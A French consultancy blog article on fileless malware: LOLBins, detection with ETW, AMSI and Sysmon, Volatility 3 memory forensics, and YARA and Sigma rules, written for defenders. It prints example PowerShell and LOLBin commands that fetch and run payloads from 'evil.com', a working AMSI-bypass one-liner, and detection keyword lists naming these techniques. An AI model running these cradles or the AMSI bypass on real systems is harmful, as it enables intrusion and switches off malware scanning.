Besoin d'un audit de sécurité ?
Devis personnalisé sous 24h
Rétro-Ingénierie & Malware

Fileless Malware : Analyse, Détection et Investigation en Mémoire

Par Ayi NEDJIMI 1 mars 2026 Lecture : 30 min ~5000 mots
#FilelessMalware #Volatility3 #LOLBins #AMSI #AnalyseMémoire

1. Introduction : la menace invisible

Les fileless malwares représentent l'une des menaces les plus redoutables du paysage cybersécurité actuel. Contrairement aux malwares traditionnels qui déposent des fichiers sur le disque, ces attaques opèrent entièrement en mémoire, exploitent des outils légitimes du système d'exploitation et ne laissent que des traces minimales sur le système de fichiers. Selon le rapport Ponemon 2025, les attaques fileless ont un taux de succès dix fois supérieur aux attaques basées sur des fichiers, et représentent désormais plus de 40 % des incidents de sécurité en entreprise.

Le principe fondamental est simple et dévastateur : pourquoi déposer un malware sur le disque -- où il sera scanné par l'antivirus, détecté par l'EDR et préservé pour l'analyse forensique -- quand on peut exécuter du code malveillant directement en mémoire via des outils que Windows lui-même fournit ? PowerShell, WMI, .NET Reflection, mshta, certutil, regsvr32 : autant d'outils légitimes, signés par Microsoft, présents sur chaque installation Windows, que les attaquants détournent pour charger et exécuter leurs payloads.

Ce guide plonge dans l'univers des fileless malwares : leur taxonomie, les techniques utilisées par les groupes APT, les méthodes de détection via ETW, AMSI et Sysmon, l'investigation mémoire avec Volatility 3, les règles YARA pour la mémoire, et les défenses à implémenter. Que vous soyez analyste SOC, incident responder ou pentesteur, comprendre les fileless malwares est aujourd'hui une compétence non négociable.

Statistique clé : D'après CrowdStrike Threat Report 2025, 75 % des intrusions réussies n'impliquent aucun malware au sens classique. Les attaquants utilisent des techniques « hands-on-keyboard » combinées à des LOLBins (Living Off the Land Binaries) pour atteindre leurs objectifs.

2. Taxonomie des fileless malwares

2.1 Classification par technique d'exécution

Les fileless malwares ne forment pas une catégorie monolithique. Ils se déclinent en plusieurs familles selon leur mécanisme d'exécution et leur niveau de furtivité :

Taxonomie des Fileless Malwares Fileless Malware PowerShell-based Invoke-Expression (IEX) DownloadString + IEX EncodedCommand (-enc) Ex: Emotet, Cobalt Strike WMI Persistence Event Subscriptions __EventFilter + Consumer MOF compilation Ex: APT29, APT32 .NET Reflection Assembly.Load(bytes) Reflection.Emit AppDomain injection Ex: Covenant, Sliver Process Injection Process Hollowing DLL Injection Thread Hijacking Ex: Dridex, TrickBot Registry-based Payload stocké dans le registre Run/RunOnce + PowerShell decoder HKCU\Software\Classes\CLSID hijack Ex: Kovter, Poweliks LOLBins (Living Off the Land) mshta.exe (HTA execution) certutil.exe (download + decode) regsvr32.exe (SCT scripts) Ex: FIN7, MuddyWater Macro / Script Engines VBA macros -> PowerShell WScript / CScript (JS/VBS) XSL Transform (MSXSL) Ex: Ursnif, QakBot Echelle de furtivité croissante LOLBins Registry PowerShell .NET Reflect Process Hollowing Detection : AV/EDR classique Possible (signatures) Difficile (comportemental) Tres difficile (memoire seule)

2.2 PowerShell : l'arme favorite des attaquants

PowerShell est de loin le vecteur fileless le plus utilisé. Sa puissance réside dans sa capacité à exécuter du code .NET directement depuis la ligne de commande, à télécharger des payloads en mémoire, et à interagir avec les API Windows de bas niveau. Les patterns classiques :

# Pattern 1 : Download and execute (cradle)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"

# Pattern 2 : EncodedCommand (base64)
powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0...

# Pattern 3 : .NET Reflection (charge un assembly en mémoire)
$bytes = (New-Object Net.WebClient).DownloadData('http://evil.com/implant.dll')
[System.Reflection.Assembly]::Load($bytes)
[Namespace.Class]::Execute()

# Pattern 4 : AMSI bypass + execution
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/stager.ps1')

Ces techniques sont massivement utilisées par les frameworks de post-exploitation comme Cobalt Strike, Mythic, Havoc et Sliver. La difficulté de détection réside dans le fait que PowerShell est un outil légitime, utilisé quotidiennement par les administrateurs système.

2.3 Process Hollowing et injection mémoire

Le process hollowing est la technique fileless la plus sophistiquée. L'attaquant crée un processus légitime en mode suspendu (ex: svchost.exe), dé-mappe (unmap) son image en mémoire, injecte le code malveillant à sa place, puis reprend l'exécution. Le résultat : un processus qui apparaît comme svchost.exe dans le gestionnaire de tâches mais exécute du code malveillant. Cette technique est détaillée dans notre article sur les techniques d'exploitation de corruption mémoire.

Les variantes incluent :

  • Process Doppelgänging : utilise les transactions NTFS pour créer un processus à partir d'un fichier temporaire qui n'existe jamais réellement
  • Process Herpaderping : modifie le contenu du fichier PE après que le mapping mémoire est créé mais avant que les hooks de sécurité ne le scannent
  • Module Stomping : charge une DLL légitime puis écrase son contenu en mémoire avec le payload
  • Ghostly Hollowing : crée une section mémoire à partir d'un fichier supprimé

3. Techniques LOLBins : les outils du système détournés

3.1 Catalogue des LOLBins critiques

Les LOLBins (Living Off the Land Binaries) sont des exécutables légitimes de Windows, signés par Microsoft, que les attaquants détournent pour télécharger, décoder ou exécuter des payloads. Le projet LOLBAS (lolbas-project.github.io) en catalogue plus de 200. Voici les plus critiques :

LOLBinUsage malveillantCommande typeMITRE ATT&CK
mshta.exeExécution de HTA/VBScript/JScriptmshta http://evil.com/payload.htaT1218.005
certutil.exeTéléchargement + décodage base64certutil -urlcache -split -f http://evil.com/p.exeT1140
regsvr32.exeExécution de scripts SCT distantsregsvr32 /s /n /u /i:http://evil.com/s.sct scrobj.dllT1218.010
rundll32.exeChargement de DLL malveillantesrundll32 javascript:"\..\mshtml,RunHTMLApp..."T1218.011
msiexec.exeInstallation de MSI malveillant distantmsiexec /q /i http://evil.com/p.msiT1218.007
bitsadmin.exeTéléchargement furtif en tâche de fondbitsadmin /transfer job http://evil.com/p.exe C:\p.exeT1197
wmic.exeExécution XSL distantewmic os get /format:"http://evil.com/p.xsl"T1220
cmstp.exeBypass UAC + exécution de DLLcmstp.exe /ni /s payload.infT1218.003

Impact forensique

Chaque LOLBin laisse des traces différentes. certutil crée des fichiers dans le cache (%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache). bitsadmin laisse des entrées dans la base BITS. mshta peut laisser des traces dans les Temporary Internet Files. L'analyste forensique doit connaître ces artefacts -- consultez notre article sur la construction de timelines forensiques pour la méthodologie de corrélation.

3.2 Chaînage de LOLBins et Living Off the Land

La véritable puissance des LOLBins réside dans leur chaînage. Un attaquant combine plusieurs binaires légitimes pour créer une chaîne d'exécution complète, du téléchargement initial à l'exécution du payload, sans jamais utiliser un seul outil non signé par Microsoft :

# Chaîne d'attaque LOLBins typique -- chaque étape utilise un binaire Microsoft signé

# Étape 1 : Téléchargement via certutil (déguisé en opération de certificat)
certutil -urlcache -split -f http://evil.com/payload.b64 %TEMP%\cert.b64

# Étape 2 : Décodage base64 via certutil
certutil -decode %TEMP%\cert.b64 %TEMP%\payload.dll

# Étape 3 : Exécution via rundll32 (ou regsvr32)
rundll32 %TEMP%\payload.dll,DllMain

# Variante sans fichier intermédiaire :
# mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -w hidden -c IEX(irm http://evil.com/s.ps1)"",0:close")

Les groupes APT combinent ces techniques avec une connaissance fine de l'environnement cible. Par exemple, APT29 (Cozy Bear) a utilisé mshta.exe pour exécuter des HTA malveillants via des liens dans des emails de spearphishing, tandis que FIN7 utilise massivement wmic.exe et les stylesheets XSL pour exécuter du JScript directement en mémoire.

4. Détection : ETW, AMSI et Sysmon

4.1 Event Tracing for Windows (ETW)

ETW (Event Tracing for Windows) est le mécanisme de traçage natif du noyau Windows. C'est la colonne vertébrale de la détection des fileless malwares, car il permet de capturer les événements au niveau du système d'exploitation, avant même que le code malveillant ne puisse les intercepter. Les providers ETW les plus pertinents sont :

Provider ETWGUIDCe qu'il captureUtilité anti-fileless
Microsoft-Windows-PowerShellA0C1853B-5C40-4B15-8766-3CF1C58F985AScript Block Logging, commandes, modulesCritique : capture le code PowerShell déobfusqué
Microsoft-Windows-DotNETRuntimeE13C0D23-CCBC-4E12-931B-D9CC2EEE27E4Assembly loading, JIT compilationDétecte le chargement de .NET en mémoire
Microsoft-Windows-Kernel-Process22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716Création/terminaison de processusDétecte le process hollowing
Microsoft-Windows-WMI-Activity1418EF04-B0B4-4623-BF7E-D74AB47BBDAARequêtes WMI, event subscriptionsCapture la persistance WMI
Microsoft-Antimalware-Scan-Interface2A576B87-09A7-520E-C21A-4942F0271D67Contenu scanné par AMSICapture le payload déchiffré avant exécution
# Activer le Script Block Logging (PowerShell >= 5.0)
# GPO : Computer Config > Admin Templates > Windows Components > PowerShell
# "Turn on PowerShell Script Block Logging" = Enabled
# Résultat : Event ID 4104 dans Microsoft-Windows-PowerShell/Operational

# Requête ETW en temps réel avec logman
logman create trace "FilelessDetection" -p "Microsoft-Windows-PowerShell" 0xFFFFFFFF 0x5 -o C:\Traces\ps_trace.etl -ets

# Consommer les événements avec Get-WinEvent
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | 
    Where-Object { $_.Id -eq 4104 } |
    Select-Object TimeCreated, @{N='ScriptBlock';E={$_.Properties[2].Value}} |
    Where-Object { $_.ScriptBlock -match 'IEX|Invoke-Expression|DownloadString|Net\.WebClient|Reflection\.Assembly' }

4.2 AMSI : le scanner universel

L'Antimalware Scan Interface (AMSI) est l'interface de scan universelle de Windows, introduite avec Windows 10. Elle intercepte le contenu des scripts après déobfuscation mais avant exécution. Les moteurs intégrés incluent PowerShell, VBScript, JScript, .NET (depuis 4.8), et les macros Office.

Le flux AMSI fonctionne ainsi : le moteur de script (PowerShell par ex.) appelle AmsiScanBuffer() ou AmsiScanString() avec le contenu déobfusqué. AMSI transmet le contenu au provider antimalware enregistré (Windows Defender par défaut). Si le contenu est jugé malveillant, l'exécution est bloquée.

Malheureusement, les attaquants ont développé de nombreuses techniques de bypass AMSI :

# Bypass AMSI classique (patching en mémoire) -- à des fins éducatives uniquement
# Technique 1 : Modification du champ amsiInitFailed
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Technique 2 : Patching de AmsiScanBuffer en mémoire (ret 0x80070057)
# L'attaquant écrase les premiers octets de amsi!AmsiScanBuffer
# avec des instructions qui retournent AMSI_RESULT_CLEAN

# Technique 3 : Unhooking -- restaurer les octets originaux de ntdll.dll
# depuis le fichier sur disque pour supprimer les hooks EDR

# Détection : surveiller les Event ID 4104 contenant "AmsiUtils" ou "amsiInitFailed"
# Règle Sigma correspondante :
# detection:
#   selection:
#     EventID: 4104
#     ScriptBlockText|contains:
#       - 'AmsiUtils'
#       - 'amsiInitFailed'
#       - 'AmsiScanBuffer'

4.3 Sysmon : la visibilité avancée

Sysmon (System Monitor) de Microsoft Sysinternals est l'outil incontournable pour la détection des fileless malwares. Avec une configuration appropriée, il capture les événements critiques que les journaux Windows standard ne voient pas :

Event IDÉvénementDétection fileless
1Création de processusLigne de commande suspecte (encodedcommand, IEX, downloadstring)
3Connexion réseauPowerShell/wscript/mshta qui ouvre des connexions sortantes
7Chargement d'image (DLL)DLL non signée chargée dans un processus légitime
8CreateRemoteThreadInjection de thread dans un processus distant
10Accès processusAccès LSASS (credential dumping), injection mémoire
11Création de fichierFichiers créés dans des chemins suspects (Temp, AppData)
13Modification registrePersistance via clés Run, WMI subscriptions
17/18Pipe créé/connectéNamed pipes C2 (Cobalt Strike utilise des pipes nommées)
22Requête DNSDNS tunneling, domaines DGA
25Process TamperingProcess hollowing, herpaderping (depuis Sysmon 13.x)
<!-- Configuration Sysmon optimisée pour la détection fileless -->
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Event ID 1 : détecter les processus suspects -->
    <ProcessCreate onmatch="include">
      <Image condition="end with">powershell.exe</Image>
      <Image condition="end with">cmd.exe</Image>
      <Image condition="end with">mshta.exe</Image>
      <Image condition="end with">wscript.exe</Image>
      <Image condition="end with">cscript.exe</Image>
      <Image condition="end with">regsvr32.exe</Image>
      <Image condition="end with">rundll32.exe</Image>
      <Image condition="end with">certutil.exe</Image>
      <Image condition="end with">msiexec.exe</Image>
      <CommandLine condition="contains any">-encodedcommand;-enc ;IEX;Invoke-Expression;DownloadString;Net.WebClient;frombase64</CommandLine>
    </ProcessCreate>

    <!-- Event ID 8 : détecter l'injection de thread -->
    <CreateRemoteThread onmatch="exclude">
      <SourceImage condition="is">C:\Windows\System32\csrss.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\lsass.exe</SourceImage>
    </CreateRemoteThread>

    <!-- Event ID 10 : détecter l'accès à LSASS -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="end with">lsass.exe</TargetImage>
    </ProcessAccess>

    <!-- Event ID 25 : Process Tampering (hollowing, herpaderping) -->
    <ProcessTampering onmatch="include" />
  </EventFiltering>
</Sysmon>

5. Investigation mémoire avec Volatility 3

5.1 Acquisition de la mémoire

L'investigation mémoire est la technique fondamentale pour analyser les fileless malwares, puisque par définition, les artefacts n'existent qu'en RAM. L'acquisition doit être réalisée avant tout redémarrage de la machine compromise. Pour une méthodologie complète, consultez notre guide Volatility 3.

# Acquisition mémoire sous Windows avec WinPmem
winpmem_mini_x64.exe output.raw

# Sous Linux avec LiME (Linux Memory Extractor)
sudo insmod lime-$(uname -r).ko "path=/tmp/memory.lime format=lime"

# Vérification de l'intégrité du dump
sha256sum output.raw > output.raw.sha256

5.2 Plugins Volatility 3 pour les fileless malwares

Volatility 3 propose un ensemble de plugins particulièrement pertinents pour la détection des fileless malwares. Voici le workflow recommandé :

# 1. Lister les processus et identifier les anomalies
vol -f memory.raw windows.pslist
vol -f memory.raw windows.pstree

# 2. Détecter le process hollowing avec malfind
# malfind identifie les régions mémoire avec des protections suspectes (PAGE_EXECUTE_READWRITE)
# et contenant des headers PE ou du shellcode
vol -f memory.raw windows.malfind

# 3. Extraire les DLL injectées (non listées dans le PEB)
vol -f memory.raw windows.dlllist --pid 4832
vol -f memory.raw windows.ldrmodules --pid 4832
# Si LdrModules montre InLoad=False, InInit=False, InMem=True -> injection suspecte

# 4. Analyser les handles et les connexions réseau
vol -f memory.raw windows.handles --pid 4832
vol -f memory.raw windows.netscan

# 5. Extraire les commandes PowerShell de la mémoire du processus
vol -f memory.raw windows.memmap --pid 4832 --dump
strings -el dump.4832.dmp | grep -i "invoke-\|IEX\|downloadstring\|Net.WebClient"

# 6. Analyser les callbacks et hooks noyau (rootkits fileless)
vol -f memory.raw windows.callbacks
vol -f memory.raw windows.ssdt

5.3 Détection du process hollowing avec malfind

Le plugin malfind est l'outil central pour détecter les injections mémoire. Il identifie les régions de mémoire allouées avec des permissions PAGE_EXECUTE_READWRITE (RWX) qui contiennent des structures suspectes :

# Résultat typique de malfind pour un process hollowing
$ vol -f memory.raw windows.malfind

PID     Process          Start VAddr     End VAddr       Tag   Protection         Hexdump / Disasm
4832    svchost.exe      0x400000        0x41f000        VadS  PAGE_EXECUTE_READWRITE
        4d 5a 90 00 03 00 00 00   MZ......
        04 00 00 00 ff ff 00 00   ........
# ^^^^ Header MZ = PE injecté dans svchost.exe
# Un svchost.exe légitime n'aurait PAS de région RWX à cette adresse

# Extraire le PE injecté pour analyse statique
vol -f memory.raw windows.malfind --pid 4832 --dump
# Résultat : pid.4832.vad.0x400000-0x41f000.dmp
# Analyser avec strings, YARA, ou dans Ghidra/IDA

Indicateurs de compromission mémoire

Les signes révélateurs d'un fileless malware en mémoire incluent : (1) des régions RWX dans des processus système légitimes, (2) des headers MZ/PE dans des régions VAD non mappées à un fichier, (3) des threads dont l'adresse de départ ne pointe pas vers un module chargé, (4) des processus avec un PEB qui ne correspond pas à l'image sur disque (hollowing), et (5) des connexions réseau sortantes depuis des processus qui ne devraient pas communiquer (ex: notepad.exe, calc.exe).

6. Règles YARA pour la mémoire

6.1 YARA appliqué aux dumps mémoire

Les règles YARA sont un complément essentiel à Volatility pour la détection de patterns malveillants dans les dumps mémoire. Contrairement à l'analyse sur disque, les scans YARA en mémoire permettent de détecter les payloads déchiffrés et décompressés, tels qu'ils existent réellement au moment de l'exécution.

// Règle YARA : détection de Cobalt Strike Beacon en mémoire
rule CobaltStrike_Beacon_Memory {
    meta:
        description = "Détecte un Cobalt Strike Beacon résident en mémoire"
        author = "Ayi NEDJIMI - ayinedjimi-consultants.fr"
        date = "2026-03-01"
        reference = "MITRE ATT&CK T1055"
    strings:
        $beacon_config = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? }
        $default_pipe = "\\\\.\\pipe\\msagent_"
        $sleep_mask = { 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 }
        $reflective_loader = "ReflectiveLoader"
        $mz_header_rwx = { 4D 5A 90 00 }
    condition:
        ($beacon_config and $default_pipe) or
        ($sleep_mask and $reflective_loader) or
        ($mz_header_rwx at 0 and filesize < 1MB and $reflective_loader)
}

// Règle YARA : détection de PowerShell Empire/stager en mémoire
rule PowerShell_Stager_Memory {
    meta:
        description = "Détecte un stager PowerShell déobfusqué en mémoire"
        author = "Ayi NEDJIMI - ayinedjimi-consultants.fr"
        date = "2026-03-01"
    strings:
        $s1 = "System.Net.WebClient" ascii wide
        $s2 = "DownloadString" ascii wide
        $s3 = "Invoke-Expression" ascii wide
        $s4 = "FromBase64String" ascii wide
        $s5 = "System.Reflection.Assembly" ascii wide
        $s6 = "GetDelegateForFunctionPointer" ascii wide
        $s7 = "VirtualAlloc" ascii wide
        $s8 = "amsiInitFailed" ascii wide
    condition:
        3 of ($s*)
}

// Règle YARA : détection de shellcode injection
rule Shellcode_Injection_Indicators {
    meta:
        description = "Détecte des patterns de shellcode communs en mémoire"
    strings:
        // NtAllocateVirtualMemory syscall stub
        $syscall_ntalloc = { 4C 8B D1 B8 18 00 00 00 0F 05 C3 }
        // Egg hunter pattern
        $egg_hunter = { 66 81 CA FF 0F 42 52 6A 02 58 CD 2E 3C 05 5A 74 }
        // Metasploit reverse_tcp
        $msf_reverse = { FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 }
        // API hashing (ROR13)
        $api_hash = { 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 }
    condition:
        any of them
}
# Appliquer les règles YARA sur un dump mémoire complet
yara -r fileless_rules.yar memory.raw

# Appliquer via Volatility 3 (scan YARA intégré)
vol -f memory.raw yarascan.YaraScan --yara-file fileless_rules.yar

# Scanner un processus spécifique
vol -f memory.raw yarascan.YaraScan --yara-file fileless_rules.yar --pid 4832

7. Défenses et remédiation

7.1 Hardening Windows contre les fileless malwares

La défense contre les fileless malwares repose sur une approche en couches, combinant la réduction de la surface d'attaque, la visibilité renforcée et la réponse automatisée :

MesureImplémentationImpact
Constrained Language ModeGPO : PowerShell en mode langage restreint pour les utilisateurs non-adminBloque .NET Reflection, Add-Type, COM, Win32 API
AppLocker / WDACBloquer l'exécution de LOLBins non nécessaires (mshta, cmstp, regsvr32)Élimine les vecteurs d'exécution alternatifs
Script Block LoggingGPO : activer le logging PowerShell avancé (Event ID 4104)Capture le code déobfusqué avant exécution
Credential GuardActiver la virtualisation pour isoler LSASSEmpêche le dump de credentials en mémoire
ASR RulesActiver les règles Attack Surface Reduction de DefenderBloque les macros, les processus enfants d'Office, etc.
AMSI enforcementS'assurer qu'AMSI est actif et non bypassableScan du contenu script avant exécution
Sysmon avancéDéployer avec la config SwiftOnSecurity ou Olaf HartongVisibilité complète sur les événements système
EDR moderneDéployer un EDR avec analyse comportementale (kernel-level)Détection heuristique des injections mémoire

7.2 Règles de détection Sigma

Les règles Sigma permettent de formaliser les patterns de détection de manière agnostique vis-à-vis du SIEM. Voici les règles essentielles pour les fileless malwares :

# Règle Sigma : Exécution PowerShell suspecte (fileless)
title: Suspicious PowerShell Fileless Execution
id: a5f12e8f-3b2c-4d7a-9e1f-6c8d2b4a5e3f
status: stable
description: Détecte les patterns PowerShell associés aux fileless malwares
author: Ayi NEDJIMI
date: 2026/03/01
references:
    - https://attack.mitre.org/techniques/T1059/001/
logsource:
    product: windows
    category: ps_script
    definition: PowerShell Script Block Logging (Event ID 4104)
detection:
    selection_download:
        ScriptBlockText|contains:
            - 'Net.WebClient'
            - 'DownloadString'
            - 'DownloadData'
            - 'Invoke-WebRequest'
            - 'iwr '
            - 'irm '
            - 'wget '
            - 'curl '
    selection_exec:
        ScriptBlockText|contains:
            - 'IEX'
            - 'Invoke-Expression'
            - '[System.Reflection.Assembly]::Load'
            - 'Unsafe.AsPointer'
    selection_amsi:
        ScriptBlockText|contains:
            - 'amsiInitFailed'
            - 'AmsiUtils'
            - 'AmsiScanBuffer'
    condition: selection_download and selection_exec or selection_amsi
level: high
tags:
    - attack.execution
    - attack.t1059.001
    - attack.defense_evasion
    - attack.t1562.001

---
# Règle Sigma : Process Hollowing via Sysmon Event 25
title: Process Tampering Detected (Hollowing/Herpaderping)
id: b7c3d4e5-8f1a-4c2b-9d6e-3a5f7c8b1d2e
status: experimental
description: Détecte les tentatives de process hollowing ou herpaderping
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 25
    filter:
        Image|endswith:
            - '\MsMpEng.exe'
            - '\svchost.exe'
    condition: selection and not filter
level: critical
tags:
    - attack.defense_evasion
    - attack.t1055.012

8. Conclusion : l'ère du combat en mémoire

Les fileless malwares ne sont plus une menace émergente : ils constituent désormais la norme dans les attaques sophistiquées. La convergence entre les LOLBins, les techniques d'injection mémoire et les bypass de sécurité (AMSI, ETW patching) crée un écosystème offensif mature que les défenseurs doivent comprendre en profondeur.

Les clés d'une défense efficace reposent sur trois piliers :

  • Visibilité maximale : Script Block Logging, Sysmon avancé, ETW providers, et un SIEM correctement configuré pour corréler les événements
  • Réduction de la surface d'attaque : Constrained Language Mode, AppLocker/WDAC pour bloquer les LOLBins inutiles, Credential Guard pour protéger LSASS
  • Capacité d'investigation mémoire : maîtrise de Volatility 3, règles YARA adaptées à la mémoire, et procédures d'acquisition mémoire rapides en cas d'incident

L'évolution vers le « fileless 2.0 » -- combinant ETW patching, unhooking de l'EDR, et exécution via des syscalls directs -- pousse le combat de plus en plus profond dans les couches du système d'exploitation. Les analystes et incident responders qui maîtrisent l'analyse mémoire possèdent un avantage décisif dans cette bataille permanente entre attaquants et défenseurs.

Recommandation finale : Intégrez l'acquisition mémoire dans votre plan de réponse aux incidents. Un dump mémoire réalisé dans les premières minutes d'un incident peut contenir les artefacts qui feront la différence entre une investigation concluante et un attaquant qui disparaît sans laisser de traces.

Besoin d'un accompagnement expert ?

Nos consultants en cybersécurité et IA vous accompagnent dans vos projets d'investigation mémoire, de détection des fileless malwares et de réponse aux incidents. Devis personnalisé sous 24h.

Articles connexes

Références externes

Ayi NEDJIMI — Expert en cybersécurité & IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor. Profil complet · LinkedIn · GitHub